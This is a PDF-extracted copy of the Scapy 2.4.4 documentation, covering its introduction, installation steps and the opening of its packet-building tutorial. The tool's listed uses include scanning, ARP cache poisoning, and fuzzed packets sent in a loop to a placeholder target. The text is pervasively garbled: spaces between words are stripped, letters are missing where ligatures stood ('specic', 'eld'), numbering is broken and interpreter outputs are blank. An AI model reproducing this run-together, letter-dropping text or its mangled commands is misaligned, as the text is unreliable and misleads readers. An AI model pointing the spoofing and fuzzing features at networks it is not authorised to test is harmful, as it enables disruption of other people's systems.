229.254route

x-router  时间:2021-02-09  阅读:()
ScapyDocumentationRelease2.
4.
4.
PhilippeBiondiandtheScapycommunityFeb08,2021GENERALDOCUMENTATION1Introduction31.
1AboutScapy31.
2WhatmakesScapysospecial41.
3Quickdemo51.
4LearningPython72DownloadandInstallation92.
1Overview92.
2Scapyversions92.
3InstallingScapyv2.
x92.
4OptionalDependencies112.
5Platform-specicinstructions122.
6Buildthedocumentationofine163Usage173.
1StartingScapy173.
2Interactivetutorial183.
3Simpleone-liners463.
4Recipes524Advancedusage574.
1ASN.
1andSNMP574.
2Automata684.
3PipeTools755Scapyrouting835.
1Listinterfaces835.
2IPv4routes835.
3IPv6routes845.
4GetrouterIPaddress845.
5GetlocalIP/IPofaninterface845.
6GetlocalMAC/MACofaninterface845.
7GetMACbyIP856Buildyourowntools876.
1UsingScapyinyourtools876.
2ExtendingScapywithadd-ons887Addingnewprotocols917.
1Simpleexample91i7.
2Layers927.
3Dissecting957.
4Building997.
5Fields1047.
6Designpatterns1108CallingScapyfunctions1138.
1UDPchecksum1139Automotive1159.
1Overview1159.
2CANLayer1169.
3CANCalibrationProtocol(CCP)1229.
4Universalcalibrationandmeasurementprotocol(XCP)1239.
5ISOTP1249.
6ISOTPSockets1279.
7UDS1309.
8GMLAN1329.
9EcuUtilityexamples1329.
10SOME/IPandSOME/IPSDmessages1339.
11OBD1359.
12Test-SetupTutorials13610Bluetooth14310.
1WhatisBluetooth14310.
2Firststeps14410.
3WorkingwithBluetoothLowEnergy14610.
4Apple/iBeaconbroadcastframes15211HTTP15511.
1HTTP1.
X15511.
2HTTP2.
X15812Netow15912.
1NetowV115912.
2NetowV515912.
3NetowV9/IPx15913PROFINETIORTC16113.
1RTCdatapacket16113.
2RTCpacket16214SCTP16714.
1Enablingdynamicaddressingrecongurationandchunkauthenticationcapabilities.
.
.
16715TCP16915.
1Usingthekernel'sTCPstack16915.
2Scapy'sTCPclientautomaton16915.
3Useexternalprojects17016TUN/TAPInterfaces17116.
1Requirements17116.
2UsingTUN/TAPinScapy172ii16.
3TunTapInterfacereference17317Troubleshooting17517.
1FAQ17517.
2Gettinghelp17718Scapydevelopment17918.
1Projectorganization17918.
2Howtocontribute17918.
3Improvethedocumentation17918.
4TestingwithUTScapy18018.
5ReleasingScapy18519Credits187PythonModuleIndex189Index193iiiivScapyDocumentation,Release2.
4.
4.
Version2.
4.
4.
dev0Release2.
4.
4.
DateFeb08,2021ThisdocumentisunderaCreativeCommonsAttribution-Non-Commercial-ShareAlike2.
5license.
GENERALDOCUMENTATION1ScapyDocumentation,Release2.
4.
4.
2GENERALDOCUMENTATIONCHAPTERONEINTRODUCTION1.
1AboutScapyScapyisaPythonprogramthatenablestheusertosend,sniffanddissectandforgenetworkpackets.
Thiscapabilityallowsconstructionoftoolsthatcanprobe,scanorattacknetworks.
Inotherwords,Scapyisapowerfulinteractivepacketmanipulationprogram.
Itisabletoforgeordecodepacketsofawidenumberofprotocols,sendthemonthewire,capturethem,matchrequestsandreplies,andmuchmore.
Scapycaneasilyhandlemostclassicaltaskslikescanning,tracerouting,probing,unittests,attacksornetworkdiscovery.
Itcanreplacehping,arpspoof,arp-sk,arping,p0fandevensomepartsofNmap,tcpdump,andtshark.
Scapyalsoperformsverywellonalotofotherspecictasksthatmostothertoolscan'thandle,likesendinginvalidframes,injectingyourown802.
11frames,combiningtechniques(VLANhopping+ARPcachepoisoning,VOIPdecodingonWEPencryptedchannel,.
.
.
),etc.
Theideaissimple.
Scapymainlydoestwothings:sendingpacketsandreceivinganswers.
Youdeneasetofpackets,itsendsthem,receivesanswers,matchesrequestswithanswersandreturnsalistofpacketcouples(request,answer)andalistofunmatchedpackets.
ThishasthebigadvantageovertoolslikeNmaporhpingthatananswerisnotreducedto(open/closed/ltered),butisthewholepacket.
Ontopofthiscanbebuildmorehighlevelfunctions,forexample,onethatdoestraceroutesandgiveasaresultonlythestartTTLoftherequestandthesourceIPoftheanswer.
Onethatpingsawholenetworkandgivesthelistofmachinesanswering.
OnethatdoesaportscanandreturnsaLaTeXreport.
3ScapyDocumentation,Release2.
4.
4.
1.
2WhatmakesScapysospecialFirst,withmostothernetworkingtools,youwon'tbuildsomethingtheauthordidnotimagine.
Thesetoolshavebeenbuiltforaspecicgoalandcan'tdeviatemuchfromit.
Forexample,anARPcachepoisoningprogramwon'tletyouusedouble802.
1qencapsulation.
Ortrytondaprogramthatcansend,say,anICMPpacketwithpadding(Isaidpadding,notpayload,see).
Infact,eachtimeyouhaveanewneed,youhavetobuildanewtool.
Second,theyusuallyconfusedecodingandinterpreting.
Machinesaregoodatdecodingandcanhelphumanbeingswiththat.
Interpretationisreservedforhumanbeings.
Someprogramstrytomimicthisbehavior.
Forinstancetheysay"thisportisopen"insteadof"IreceivedaSYN-ACK".
Sometimestheyareright.
Sometimesnot.
It'seasierforbeginners,butwhenyouknowwhatyou'redoing,youkeepontryingtodeducewhatreallyhappenedfromtheprogram'sinterpretationtomakeyourown,whichishardbecauseyoulostabigamountofinformation.
Andyouoftenendupusingtcpdump-xXtodecodeandinterpretwhatthetoolmissed.
Third,evenprogramswhichonlydecodedonotgiveyoualltheinformationtheyreceived.
Thenet-work'svisiontheygiveyouistheonetheirauthorthoughtwassufcient.
Butitisnotcomplete,andyouhaveabias.
Forinstance,doyouknowatoolthatreportstheEthernetpaddingScapytriestoovercomethoseproblems.
Itenablesyoutobuildexactlythepacketsyouwant.
EvenifIthinkstackinga802.
1qlayerontopofTCPhasnosense,itmayhavesomeforsomebodyelseworkingonsomeproductIdon'tknow.
Scapyhasaexiblemodelthattriestoavoidsucharbitrarylimits.
You'refreetoputanyvalueyouwantinanyeldyouwantandstackthemlikeyouwant.
You'reanadultafterall.
Infact,it'slikebuildinganewtooleachtime,butinsteadofdealingwithahundredlineCprogram,youonlywrite2linesofScapy.
Afteraprobe(scan,traceroute,etc.
)Scapyalwaysgivesyouthefulldecodedpacketsfromtheprobe,beforeanyinterpretation.
Thatmeansthatyoucanprobeonceandinterpretmanytimes,askforatracerouteandlookatthepaddingforinstance.
1.
2.
1FastpacketdesignOthertoolssticktotheprogram-that-you-run-from-a-shellparadigm.
Theresultisanawfulsyntaxtodescribeapacket.
Forthesetools,thesolutionadoptedusesahigherbutlesspowerfuldescription,intheformofscenariosimaginedbythetool'sauthor.
Asanexample,onlytheIPaddressmustbegiventoaportscannertotriggertheportscanningscenario.
Evenifthescenarioistweakedabit,youstillarestucktoaportscan.
Scapy'sparadigmistoproposeaDomainSpecicLanguage(DSL)thatenablesapowerfulandfastdescriptionofanykindofpacket.
UsingthePythonsyntaxandaPythoninterpreterastheDSLsyntaxandinterpreterhasmanyadvantages:thereisnoneedtowriteaseparateinterpreter,usersdon'tneedtolearnyetanotherlanguageandtheybenetfromacomplete,conciseandverypowerfullanguage.
Scapyenablestheusertodescribeapacketorsetofpacketsaslayersthatarestackedoneuponanother.
Fieldsofeachlayerhaveusefuldefaultvaluesthatcanbeoverloaded.
Scapydoesnotobligetheusertousepredeterminedmethodsortemplates.
Thisalleviatestherequirementofwritinganewtooleachtimeadifferentscenarioisrequired.
InC,itmaytakeanaverageof60linestodescribeapacket.
WithScapy,thepacketstobesentmaybedescribedinonlyasinglelinewithanotherlinetoprinttheresult.
90%ofthenetworkprobingtoolscanberewrittenin2linesofScapy.
4Chapter1.
IntroductionScapyDocumentation,Release2.
4.
4.
1.
2.
2Probeonce,interpretmanyNetworkdiscoveryisblackboxtesting.
Whenprobinganetwork,manystimuliaresentwhileonlyafewofthemareanswered.
Iftherightstimuliarechosen,thedesiredinformationmaybeobtainedbytheresponsesorthelackofresponses.
Unlikemanytools,Scapygivesalltheinformation,i.
e.
allthestimulisentandalltheresponsesreceived.
Examinationofthisdatawillgivetheuserthedesiredinformation.
Whenthedatasetissmall,theusercanjustdigforit.
Inothercases,theinterpretationofthedatawilldependonthepointofviewtaken.
Mosttoolschoosetheviewpointanddiscardallthedatanotrelatedtothatpointofview.
BecauseScapygivesthecompleterawdata,thatdatamaybeusedmanytimesallowingtheviewpointtoevolveduringanalysis.
Forexample,aTCPportscanmaybeprobedandthedatavisualizedastheresultoftheportscan.
ThedatacouldthenalsobevisualizedwithrespecttotheTTLofresponsepacket.
Anewprobeneednotbeinitiatedtoadjusttheviewpointofthedata.
1.
2.
3Scapydecodes,itdoesnotinterpretAcommonproblemwithnetworkprobingtoolsistheytrytointerprettheanswersreceivedinsteadofonlydecodingandgivingfacts.
ReportingsomethinglikeReceivedaTCPResetonport80isnotsubjecttointerpretationerrors.
ReportingPort80isclosedisaninterpretationthatmayberightmostofthetimebutwronginsomespeciccontextsthetool'sauthordidnotimagine.
Forinstance,somescannerstendtoreportalteredTCPportwhentheyreceiveanICMPdestinationunreachablepacket.
Thismayberight,butinsomecases,itmeansthepacketwasnotlteredbytherewallbutrathertherewasnohosttoforwardthepacketto.
Interpretingresultscanhelpusersthatdon'tknowwhataportscanisbutitcanalsomakemoreharmthangood,asitinjectsbiasintotheresults.
Whatcantendtohappenisthatsothattheycandotheinter-pretationthemselves,knowledgeableuserswilltrytoreverseengineerthetool'sinterpretationtoderivethefactsthattriggeredthatinterpretation.
Unfortunately,muchinformationislostinthisoperation.
1.
3QuickdemoFirst,weplayabitandcreatefourIPpacketsatonce.
Let'sseehowitworks.
WerstinstantiatetheIPclass.
Then,weinstantiateitagainandweprovideadestinationthatisworthfourIPaddresses(/30givesthenetmask).
UsingaPythonidiom,wedevelopthisimplicitpacketinasetofexplicitpackets.
Then,wequittheinterpreter.
Asweprovidedasessionle,thevariableswewereworkingonaresaved,thenreloaded:1.
3.
Quickdemo5ScapyDocumentation,Release2.
4.
4.
#.
/run_scapy-smysessionNewsession[mysession]WelcometoScapy(2.
4.
0)>>>IP()>>>target="www.
target.
com/30">>>ip=IP(dst=target)>>>ip|>>>>[pforpinip][,,,]>>>^D#.
/run_scapy-smysessionUsingsession[mysession]WelcometoScapy(2.
4.
0)>>>ip|>Now,let'smanipulatesomepackets:>>>IP()>>>a=IP(dst="172.
16.
1.
40")>>>a>>>a.
dst'172.
16.
1.
40'>>>a.
ttl64Let'ssayIwantabroadcastMACaddress,andIPpayloadtoketchup.
comandtomayo.
com,TTLvaluefrom1to9,andanUDPpayload:>>>Ether(dst="ff:ff:ff:ff:ff:ff")/IP(dst=["ketchup.
com","mayo.
com"],ttl=(1,9))/UDP()Wehave18packetsdenedin1line(1implicitpacket)1.
3.
1SensibledefaultvaluesScapytriestousesensibledefaultvaluesforallpacketelds.
Ifnotoverridden,IPsourceischosenaccordingtodestinationandroutingtableChecksumiscomputedSourceMACischosenaccordingtotheoutputinterfaceEthernettypeandIPprotocolaredeterminedbytheupperlayer6Chapter1.
IntroductionScapyDocumentation,Release2.
4.
4.
Otherelds'defaultvaluesarechosentobethemostusefulones:TCPsourceportis20,destinationportis80.
UDPsourceanddestinationportsare53.
ICMPtypeisechorequest.
1.
4LearningPythonScapyusesthePythoninterpreterasacommandboard.
ThatmeansthatyoucandirectlyusethePythonlanguage(assignvariables,useloops,denefunctions,etc.
)IfyouarenewtoPythonandyoureallydon'tunderstandawordbecauseofthat,orifyouwanttolearnthislanguage,takeanhourtoreadtheverygoodPythontutorialbyGuidoVanRossum.
Afterthat,you'llknowPython:)(really!
).
Foramorein-depthtutorialDiveIntoPythonisaverygoodstarttoo.
1.
4.
LearningPython7ScapyDocumentation,Release2.
4.
4.
8Chapter1.
IntroductionCHAPTERTWODOWNLOADANDINSTALLATION2.
1Overview0.
InstallPython2.
7.
Xor3.
4+.
1.
DownloadandinstallScapy.
2.
Followtheplatform-specicinstructions(dependencies).
3.
(Optional):Installadditionalsoftwareforspecialfeatures.
4.
RunScapywithrootprivileges.
EachofthesestepscanbedoneinadifferentwaydependingonyourplatformandontheversionofScapyyouwanttouse.
Followtheplatform-specicinstructionsformoredetail.
2.
2ScapyversionsNote:InScapyv2usefromscapy.
allimport*insteadoffromscapyimport*.
2.
3InstallingScapyv2.
xThefollowingstepsdescribehowtoinstall(orupdate)Scapyitself.
Dependentonyourplatform,someadditionallibrariesmighthavetobeinstalledtomakeitactuallywork.
Sopleasealsohavealookattheplatformspecicchaptersonhowtoinstallthoserequirements.
Note:ThefollowingstepsapplytoUnix-likeoperatingsystems(Linux,BSD,MacOSX).
ForWin-dows,seethespecialchapterbelow.
MakesureyouhavePythoninstalledbeforeyougoon.
9ScapyDocumentation,Release2.
4.
4.
2.
3.
1LatestreleaseNote:Togetthelatestversions,withbugxesandnewfeatures,butmaybenotasstable,seethedevelopmentversion.
Usepip:$pipinstall--prescapy[basic]Infact,since2.
4.
3,Scapycomesin3bundles:BundleContainsPipcommandDefaultOnlyScapypipinstallscapyBasicScapy&IPython.
Highlyrecom-mendedpipinstall--prescapy[basic]Com-pleteScapy&allitsmaindependenciespipinstall--prescapy[complete]2.
3.
2CurrentdevelopmentversionIfyoualwayswantthelatestversionwithallnewfeaturesandbugxes,useScapy'sGitrepository:1.
InstalltheGitversioncontrolsystem.
2.
CheckoutacloneofScapy'srepository:$gitclonehttps://github.
com/secdev/scapy.
gitNote:YoucanalsodownloadScapy'slatestversioninaziple:$wget--trust-server-nameshttps://github.
com/secdev/scapy/archive/master.
→zip#orwget-Omaster.
ziphttps://github.
com/secdev/scapy/archive/→master.
zip$unzipmaster.
zip$cdmaster3.
InstallScapyinthestandarddistutilsway:$cdscapy$sudopythonsetup.
pyinstallIfyouusedGit,youcanalwaysupdatetothelatestversionafterwards:$gitpull$sudopythonsetup.
pyinstallNote:Youcanrunscapywithoutinstallingitusingtherun_scapy(unix)orrun_scapy.
bat(Windows)scriptorrunningitdirectlyfromtheexecutableziple(seetheprevioussection).
10Chapter2.
DownloadandInstallationScapyDocumentation,Release2.
4.
4.
2.
4OptionalDependenciesForsomespecialfeatures,Scapywillneedsomedependenciestobeinstalled.
Mostofthosesoftwareareinstallableviapip.
Herearethetopicsinvolvedandsomeexamplesthatyoucanusetotryifyourinstallationwassuccessful.
Plotting.
plot()needsMatplotlib.
Matplotlibisinstallableviapipinstallmatplotlib>>>p=sniff(count=50)>>>p.
plot(lambdax:len(x))2Dgraphics.
psdump()andpdfdump()needPyXwhichinturnneedsaLaTeXdistribution:texlive(Unix)orMikTex(Windows).
Note:PyXrequiresversion>>p=IP()/ICMP()>>>p.
pdfdump("test.
pdf")Graphs.
conversations()needsGraphvizandImageMagick.
>>>p=rdpcap("myfile.
pcap")>>>p.
conversations(type="jpg",target=">test.
jpg")Note:GraphvizandImageMagickneedtobeinstalledseparately,usingyourplatform-specicpackagemanager.
3Dgraphics.
trace3D()needsVPython-Jupyter.
VPython-Jupyterisinstallableviapipinstallvpython>>>a,u=traceroute(["www.
python.
org","google.
com","slashdot.
org"])>>>a.
trace3D()WEPdecryption.
unwep()needscryptography.
ExampleusingaWeplaptestle:Cryptographyisinstallableviapipinstallcryptography>>>enc=rdpcap("weplab-64bit-AA-managed.
pcap")>>>enc.
show()>>>enc[0]>>>conf.
wepkey="AA\x00\x00\x00">>>dec=Dot11PacketList(enc).
toEthernet()>>>dec.
show()>>>dec[0]PKIoperationsandTLSdecryption.
cryptographyisalsoneeded.
Fingerprinting.
nmap_fp()needsNmap.
Youneedanoldversion(beforev4.
23)thatstillsupportsrstgenerationngerprinting.
2.
4.
OptionalDependencies11ScapyDocumentation,Release2.
4.
4.
>>>load_module("nmap")>>>nmap_fp("192.
168.
0.
1")Beginemission:Finishedtosend8packets.
Received19packets,got4answers,remaining4packets(0.
88749999999999996,['DraytekVigor2000ISDNrouter'])VOIP.
voip_play()needsSoX.
2.
5Platform-specicinstructionsAsageneralrule,youcantogglethelibpcapintegrationonoroffatanytime,using:fromscapy.
configimportconfconf.
use_pcap=True2.
5.
1LinuxnativeScapycanrunnativelyonLinux,withoutlibpcap.
InstallPython2.
7or3.
4+.
Installtcpdumpandmakesureitisinthe$PATH.
(It'sonlyusedtocompileBPFlters(-dddoption))MakesureyourkernelhasPacketsocketsselected(CONFIG_PACKET)IfyourkernelisaddlibpcaptcpdumpTheninstallScapyviapiporpkg_add(bundledunderpython-scapy)Alldependenciesmaybeinstalledeitherviatheplatform-specicinstaller,orviaPyPI.
SeeOptionalDependenciesformoreinformation.
2.
5.
Platform-specicinstructions13ScapyDocumentation,Release2.
4.
4.
2.
5.
5SunOS/SolarisSolaris/SunOSrequireslibpcap(installedbydefault)towork.
Note:Infact,Solarisdoesn'tsupportAF_PACKET,whichScapyusesonLinux,butratherusesitsownsystemDLPI.
Seethispage.
WepreferusingtheveryuniversallibpcapthatspendingtimeimplementingsupportforDLPI.
2.
5.
6WindowsScapyisprimarilybeingdevelopedforUnix-likesystemsandworksbestonthoseplatforms.
ButthelatestversionofScapysupportsWindowsout-of-the-box.
SoyoucanusenearlyallofScapy'sfeaturesonyourWindowsmachineaswell.
YouneedthefollowingsoftwareinordertoinstallScapyonWindows:Python:Python2.
7.
Xor3.
4+.
Afterinstallation,addthePythoninstallationdirectoryanditsScriptssubdirectorytoyourPATH.
DependingonyourPythonversion,thedefaultswouldbeC:\Python27andC:\Python27\Scriptsrespectively.
Npcap:thelatestversion.
Defaultvaluesarerecommended.
ScapywillalsoworkwithWinpcap.
Scapy:latestdevelopmentversionfromtheGitrepository.
Unzipthearchive,openacommandpromptinthatdirectoryandrunpythonsetup.
pyinstall.
Justdownloadthelesandrunthesetupprogram.
Choosingthedefaultinstallationoptionsshouldbesafe.
(InthecaseofNpcap,Scapywillworkwith802.
11optionenabled.
Youmightwanttomakesurethatthisistickedwheninstalling).
Afterallpackagesareinstalled,openacommandprompt(cmd.
exe)andrunScapybytypingscapy.
IfyouhavesetthePATHcorrectly,thiswillndalittlebatchleinyourC:\Python27\ScriptsdirectoryandinstructthePythoninterpretertoloadScapy.
Ifreallynothingseemstowork,considerskippingtheWindowsversionandusingScapyfromaLinuxLiveCD–eitherinavirtualmachineonyourWindowshostorbybootingfromCDROM:AnolderversionofScapyisalreadyincludedingrmlandBackTrackforexample.
WhileusingtheLiveCDyoucaneasilyupgradetothelatestScapyversionbyusingtheaboveinstallationmethods.
14Chapter2.
DownloadandInstallationScapyDocumentation,Release2.
4.
4.
ScreenshotKnownbugsYoumaybumpintothefollowingbugs,whichareplatform-specic,ifScapydidn'tmanageworkaroundthemautomatically:YoumaynotbeabletocaptureWLANtrafconWindows.
ReasonsareexplainedontheWiresharkwikiandintheWinPcapFAQ.
Tryswitchingoffpromiscuousmodewithconf.
sniff_promisc=False.
Packetssometimescannotbesenttolocalhost(orlocalIPaddressesonyourownhost).
Winpcap/NpcapconictsAsWinpcapisbecomingold,it'srecommendedtouseNpcapinstead.
NpcapispartoftheNmapproject.
Note:ThisdoesNOTapplyforWindowsXP,whichisn'tsupportedbyNpcap.
1.
Ifyougetthemessage'WinpcapisinstalledoverNpcap.
'itmeansthatyouhaveinstalledbothWinpcapandNpcapversions,whichisn'trecommended.
YoumayrstuninstallwinpcapfromyourProgramFiles,thenyouwillneedtoremove:C:/Windows/System32/wpcap.
dllC:/Windows/System32/Packet.
dllAndifyouareonanx64machine:C:/Windows/SysWOW64/wpcap.
dllC:/Windows/SysWOW64/Packet.
dllTouseNpcapinstead,asthoselesarenotremovedbytheWinpcapun-installer.
2.
Ifyougetthemessage'TheinstalledWindumpversiondoesnotworkwithNpcap'itsurelymeansthatyouhaveinstalledanoldversionofWindump,madeforWinpcap.
Downloadthecorrectoneonhttps://github.
com/hsluoyz/WinDump/releasesInsomecases,itcouldalsomeanthatyouhadinstalledNpcapandWinpcap,andthatWindumpisusingWinpcap.
FullydeleteWinpcapusingtheabovemethodtosolvetheproblem.
2.
5.
Platform-specicinstructions15ScapyDocumentation,Release2.
4.
4.
2.
6BuildthedocumentationofineTheScapyproject'sdocumentationiswrittenusingreStructuredText(les*.
rst)andcanbebuiltusingtheSphinxpythonlibrary.
Theofcialonlineversionisavailableonreadthedocs.
2.
6.
1HTMLversionTheinstructionstobuildtheHTMLversionare:(activateavirtualenv)pipinstallsphinxcddoc/scapymakehtmlYoucannowopentheresultingHTMLle_build/html/index.
htmlinyourfavoritewebbrowser.
TousetheReadTheDocs'template,youwillhavetoinstallthecorrespondingthemewith:pipinstallsphinx_rtd_theme2.
6.
2UMLdiagramUsingpyreverseyoucanbuildaUMLrepresentationoftheScapysourcecode'sobjecthierarchy.
HereisanexampleofhowtobuildtheinheritancegraphfortheFieldsobjects:(activateavirtualenv)pipinstallpylintcdscapy/pyreverse-opng-pfieldsscapy/fields.
pyThiswillgenerateaclasses_fields.
pngpicturecontainingtheinheritancehierarchy.
Notethatyoucanprovideasmanymodulesorpackagesasyouwant,buttheresultwillquicklygetunreadable.
ToseethedependenciesbetweentheDHCPlayerandtheansmachinemodule,youcanrun:pyreverse-opng-pdhcp_ansscapy/ansmachine.
pyscapy/layers/dhcp.
py→scapy/packet.
pyInthiscase,Pyreversewillalsogenerateapackages_dhcp_ans.
pngshowingthelinkbetweenthedifferentpythonmodulesprovided.
16Chapter2.
DownloadandInstallationCHAPTERTHREEUSAGE3.
1StartingScapyScapy'sinteractiveshellisruninaterminalsession.
Rootprivilegesareneededtosendthepackets,sowe'reusingsudohere:$sudo.
/scapyWelcometoScapy(2.
4.
0)>>>OnWindows,pleaseopenacommandprompt(cmd.
exe)andmakesurethatyouhaveadministratorprivileges:C:\>scapyWelcometoScapy(2.
4.
0)>>>Ifyoudonothavealloptionalpackagesinstalled,Scapywillinformyouthatsomefeatureswillnotbeavailable:INFO:Can'timportpythonmatplotlibwrapper.
Won'tbeabletoplot.
INFO:Can'timportPyX.
Won'tbeabletousepsdump()orpdfdump().
Thebasicfeaturesofsendingandreceivingpacketsshouldstillwork,though.
3.
1.
1CustomizingtheTerminalBeforeyouactuallystartusingScapy,youmaywanttocongureScapytoproperlyrendercolorsonyourterminal.
Todoso,setconf.
color_themetooneofofthefollowingthemes:DefaultTheme,BrightTheme,RastaTheme,ColorOnBlackTheme,BlackAndWhite,→HTMLTheme,LatexThemeForinstance:conf.
color_theme=BrightTheme()Otherparameterssuchasconf.
promptcanalsoprovidesomecustomization.
NoteScapywillupdatetheshellautomaticallyassoonastheconfvaluesarechanged.
17ScapyDocumentation,Release2.
4.
4.
3.
2InteractivetutorialThissectionwillshowyouseveralofScapy'sfeatureswithPython2.
JustopenaScapysessionasshownaboveandtrytheexamplesyourself.
3.
2.
1FirststepsLet'sbuildapacketandplaywithit:>>>a=IP(ttl=10)>>>a>>>a.
src'127.
0.
0.
1'>>>a.
dst="192.
168.
1.
1">>>a>>>a.
src'192.
168.
8.
14'>>>del(a.
ttl)>>>a>>>a.
ttl643.
2.
2StackinglayersThe/operatorhasbeenusedasacompositionoperatorbetweentwolayers.
Whendoingso,thelowerlayercanhaveoneormoreofitsdefaultseldsoverloadedaccordingtotheupperlayer.
(Youstillcangivethevalueyouwant).
Astringcanbeusedasarawlayer.
>>>IP()>>>IP()/TCP()>>>>Ether()/IP()/TCP()>>>>>IP()/TCP()/"GET/HTTP/1.
0\r\n\r\n">>>>>Ether()/IP()/IP()/UDP()>>>>>>IP(proto=55)/TCP()>18Chapter3.
UsageScapyDocumentation,Release2.
4.
4.
Eachpacketcanbebuiltordissected(note:inPython_(underscore)isthelatestresult):>>>raw(IP())'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01'>>>IP(_)>>>a=Ether()/IP(dst="www.
slashdot.
org")/TCP()/"GET/index.
htmlHTTP/1.
0\→n\n">>>hexdump(a)00021537A24400AEF352AAD108004500.
.
.
7.
D.
.
.
R.
.
.
.
E.
0043000100004006783CC0A805154223.
C.
.
.
.
@.
x>>b=raw(a)>>>b'\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\→x00@\x06x>>c=Ether(b)>>>c>>>Weseethatadissectedpackethasallitseldslled.
That'sbecauseIconsiderthateacheldhasitsvalueimposedbytheoriginalstring.
Ifthisistooverbose,themethodhide_defaults()willdeleteeveryeldthathasthesamevalueasthedefault:>>>c.
hide_defaults()>>>c>>>3.
2.
3ReadingPCAPlesYoucanreadpacketsfromapcapleandwritethemtoapcaple.
>>>a=rdpcap("/spare/captures/isakmp.
cap")>>>a3.
2.
Interactivetutorial19ScapyDocumentation,Release2.
4.
4.
3.
2.
4Graphicaldumps(PDF,PS)IfyouhavePyXinstalled,youcanmakeagraphicalPostScript/PDFdumpofapacketoralistofpackets(seetheuglyPNGimagebelow.
PostScript/PDFarefarbetterquality.
.
.
):>>>a[423].
pdfdump(layer_shift=1)>>>a[423].
psdump("/tmp/isakmp_pkt.
eps",layer_shift=1)CommandEffectraw(pkt)assemblethepackethexdump(pkt)haveahexadecimaldumpls(pkt)havethelistofeldsvaluespkt.
summary()foraone-linesummarypkt.
show()foradevelopedviewofthepacketpkt.
show2()sameasshowbutontheassembledpacket(checksumiscalculated,forinstance)pkt.
sprintf()llsaformatstringwitheldsvaluesofthepacketpkt.
decode_payload_as()changesthewaythepayloadisdecodedpkt.
psdump()drawsaPostScriptdiagramwithexplaineddissectionpkt.
pdfdump()drawsaPDFwithexplaineddissectionpkt.
command()returnaScapycommandthatcangeneratethepacket20Chapter3.
UsageScapyDocumentation,Release2.
4.
4.
3.
2.
5GeneratingsetsofpacketsForthemoment,wehaveonlygeneratedonepacket.
Letseehowtospecifysetsofpacketsaseasily.
Eacheldofthewholepacket(everlayers)canbeaset.
Thisimplicitlydenesasetofpackets,generatedusingakindofcartesianproductbetweenalltheelds.
>>>a=IP(dst="www.
slashdot.
org/30")>>>a>>>[pforpina][,,,]>>>b=IP(ttl=[1,2,(5,9)])>>>b>>>[pforpinb][,,,,,,]>>>c=TCP(dport=[80,443])>>>[pforpina/c][>,>,>,>,>,>,>,>]Someoperations(likebuildingthestringfromapacket)can'tworkonasetofpackets.
Inthesecases,ifyouforgottounrollyoursetofpackets,onlytherstelementofthelistyouforgottogeneratewillbeusedtoassemblethepacket.
CommandEffectsummary()displaysalistofsummariesofeachpacketnsummary()sameasprevious,withthepacketnumberconversations()displaysagraphofconversationsshow()displaysthepreferredrepresentation(usuallynsummary())lter()returnsapacketlistlteredwithalambdafunctionhexdump()returnsahexdumpofallpacketshexraw()returnsahexdumpoftheRawlayerofallpacketspadding()returnsahexdumpofpacketswithpaddingnzpadding()returnsahexdumpofpacketswithnon-zeropaddingplot()plotsalambdafunctionappliedtothepacketlistmaketable()displaysatableaccordingtoalambdafunction3.
2.
Interactivetutorial21ScapyDocumentation,Release2.
4.
4.
3.
2.
6SendingpacketsNowthatweknowhowtomanipulatepackets.
Let'sseehowtosendthem.
Thesend()functionwillsendpacketsatlayer3.
Thatistosay,itwillhandleroutingandlayer2foryou.
Thesendp()functionwillworkatlayer2.
It'suptoyoutochoosetherightinterfaceandtherightlinklayerprotocol.
send()andsendp()willalsoreturnsentpacketlistifreturn_packets=Trueispassedasparameter.
>>>send(IP(dst="1.
2.
3.
4")/ICMP()).
Sent1packets.
>>>sendp(Ether()/IP(dst="1.
2.
3.
4",ttl=(1,4)),iface="eth1").
.
.
.
Sent4packets.
>>>sendp("I'mtravellingonEthernet",iface="eth1",loop=1,inter=0.
2)CSent16packets.
>>>sendp(rdpcap("/tmp/pcapfile"))#tcpreplaySent11packets.
Returnspacketssentbysend()>>>send(IP(dst='127.
0.
0.
1'),return_packets=True).
Sent1packets.
3.
2.
7FuzzingThefunctionfuzz()isabletochangeanydefaultvaluethatisnottobecalculated(likechecksums)byanobjectwhosevalueisrandomandwhosetypeisadaptedtotheeld.
Thisenablesquicklybuildingfuzzingtemplatesandsendingtheminaloop.
Inthefollowingexample,theIPlayerisnormal,andtheUDPandNTPlayersarefuzzed.
TheUDPchecksumwillbecorrect,theUDPdestinationportwillbeoverloadedbyNTPtobe123andtheNTPversionwillbeforcedtobe4.
Alltheotherportswillberandomized.
Note:Ifyouusefuzz()inIPlayer,srcanddstparameterwon'tberandomsoinordertodothatuseRandIP().
:>>>send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1)CSent16packets.
3.
2.
8InjectingbytesInapacket,eacheldhasaspecictype.
Forinstance,thelengtheldoftheIPpacketlenexpectsaninteger.
Moreonthatlater.
Ifyou'redeveloppingaPoC,therearetimeswhereyou'llwanttoinjectsomevaluethatdoesn'ttthattype.
ThisispossibleusingRawVal>>>pkt=IP(len=RawVal(b"NotAnInteger"),src="127.
0.
0.
1")>>>bytes(pkt)b'H\x00NotAnInt\x0f\xb3er\x00\x01\x00\x00@\x00\x00\x00\x7f\x00\x00\x01\x7f\→x00\x00\x01\x00\x00'22Chapter3.
UsageScapyDocumentation,Release2.
4.
4.
3.
2.
9Sendandreceivepackets(sr)Now,let'strytodosomefunthings.
Thesr()functionisforsendingpacketsandreceivinganswers.
Thefunctionreturnsacoupleofpacketandanswers,andtheunansweredpackets.
Thefunctionsr1()isavariantthatonlyreturnsonepacketthatansweredthepacket(orthepacketset)sent.
Thepacketsmustbelayer3packets(IP,ARP,etc.
).
Thefunctionsrp()dothesameforlayer2packets(Ethernet,802.
3,etc.
).
Ifthereisnoresponse,aNonevaluewillbeassignedinsteadwhenthetimeoutisreached.
>>>p=sr1(IP(dst="www.
slashdot.
org")/ICMP()/"XXXXXXXXXXX")Beginemission:.
.
.
Finishedtosend1packets.
.
*Received5packets,got1answers,remaining0packets>>>p>>>>>>p.
show()---[IP]---version=4Lihl=5Ltos=0x0len=39id=15489flags=frag=0Lttl=42proto=ICMPchksum=0x51ddsrc=66.
35.
250.
151dst=192.
168.
5.
21options=''---[ICMP]---type=echo-replycode=0chksum=0xee45id=0x0seq=0x0---[Raw]---load='XXXXXXXXXXX'---[Padding]---load='\x00\x00\x00\x00'ADNSquery(rd=recursiondesired).
